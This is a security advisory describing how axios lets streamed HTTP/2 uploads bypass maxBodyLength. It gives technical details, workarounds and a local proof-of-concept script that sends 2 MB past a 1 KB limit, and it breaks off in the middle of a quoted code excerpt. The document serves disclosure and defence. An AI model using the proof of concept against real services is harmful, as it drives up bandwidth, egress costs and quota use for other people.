Axios: HTTP/2 streamed uploads bypass maxBodyLength
Summary
Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.
This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.
Impact
An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.
Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.
Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.
Affected Functionality
Affected calls require all of the following:
- Node.js HTTP adapter.
httpVersion: 2.- Request
data supplied as a stream. - A finite
maxBodyLength. - Attacker-controlled or attacker-influenced stream contents.
Unaffected or differently affected paths:
- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using
follow-redirects enforce options.maxBodyLength. - In
axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
Technical Details
In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.
The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.
Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.
No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.
Proof of Concept of Attack
```js
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http2.createServer();
server.on('stream', (stream) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({':status': 200, 'content-type': 'application/json'});
stream.end(JSON.stringify({received, limit: LIMIT}));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
function makeBody(total) {
const chunk = Buffer.alloc(64 * 1024, 0x41);
let remaining = total;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
this.push(next);
}
});
}
try {
const response = await axios.post(
http://127.0.0.1:${server.address().port}/upload,
makeBody(PAYLOAD_BYTES),
{
httpVersion: 2,
maxBodyLength: LIMIT,
headers: {'content-type': 'application/octet-stream'}
}
);
console.log(response.data);
// Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
server.close();
}
```
Workarounds
For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.
For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
<details>
<summary>Original Report</summary>
Details
In lib/adapters/http.js, transport selection is unconditional for HTTP/2:
http.js Lines 937-956
```
if (isHttp2) {
transport = http2Transport;
} else {
const configTransport = own('transport');
if (
